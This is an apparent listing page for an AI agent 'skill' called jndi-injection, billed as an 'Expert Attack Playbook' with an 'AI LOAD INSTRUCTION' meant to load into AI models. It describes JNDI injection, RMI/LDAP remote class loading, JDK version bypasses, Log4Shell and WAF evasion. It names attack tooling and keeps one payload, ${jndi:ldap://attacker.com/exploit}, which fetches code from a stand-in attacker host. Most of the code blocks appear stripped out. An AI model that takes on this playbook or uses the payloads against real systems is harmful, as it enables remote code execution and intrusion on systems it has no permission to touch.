jndi-injection

JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().

By yaklang · 2,979 installs

npx skills add yaklang/hack-skills --skill jndi-injection

Source repository · Upstream listing

SKILL: JNDI Injection — Expert Attack Playbook AI LOAD INSTRUCTION : Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE 2021 44228), marshalsec tooling, and post 8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface. 0. RELATED ROUTING [deserialization insecure](../deserialization insecure/SKILL.md) when JNDI leads to deserialization (post 8u191 bypass path) [expression language injection](../expression language injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation 1. CORE MECHANISM JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA). Vulnerability : when InitialContext.lookup(USER INPUT) receives an attacker controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code. 2. ATTACK VECTORS RMI (Remote Method Invocation) Attacker runs an RMI server returning a Reference object pointing to a remote class: LDAP Attacker runs an LDAP server returning entries with javaCodeBase , javaFactory , or serialized object attributes. LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI). DNS (detection only) Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS. 3. JDK VERSION CONSTRAINTS AND BYPASS JDK Version RMI Remote Class LDAP Remote Class Bypass < 8u121 YES YES Direct class loading 8u121 – 8u190 NO ( trustURLCodebase=false ) YES Use LDAP vector = 8u191 NO NO Return serialized gadget object via LDAP = 8u191 (alternative) NO NO BeanFactory + EL injection Post 8u191 Bypass: LDAP → Serialized Gadget Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved. Post 8u191 Bypass: BeanFactory + EL When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions: 4. TOOLING marshalsec — JNDI Reference Server JNDI Injection Exploit (all in one) Rogue JNDI 5. LOG4J2 — CVE 2021 44228 (LOG4SHELL) Mechanism Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup() : Any logged string containing this pattern triggers the vulnerability — User Agent, form fields, HTTP headers, URL paths, error messages. Detection Payloads WAF Bypass Variants Log4j2's lookup parser is very flexible: Split Log Bypass (Advanced) When WAF detects paired ${jndi:...} in a single request, split across two log entries: If the application concatenates log entries before re processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers. Real World Case: Solr Log4Shell Injection Points to Test Affected Versions Log4j2 2.0 beta9 through 2.14.1 Fixed in 2.15.0 (partial), fully fixed in 2.17.0 Log4j 1.x is NOT affected (different lookup mechanism) 6. OTHER JNDI SINKS (BEYOND LOG4J) Product / Framework Sink Spring Framework JndiTemplate.lookup() Apache Solr Config API, VelocityResponseWriter Apache Druid Various config endpoints VMware vCenter Multiple endpoints H2 Database Console JNDI connection string Fastjson @type + JdbcRowSetImpl.setDataSourceName() 7. TESTING METHODOLOGY 8. QUICK REFERENCE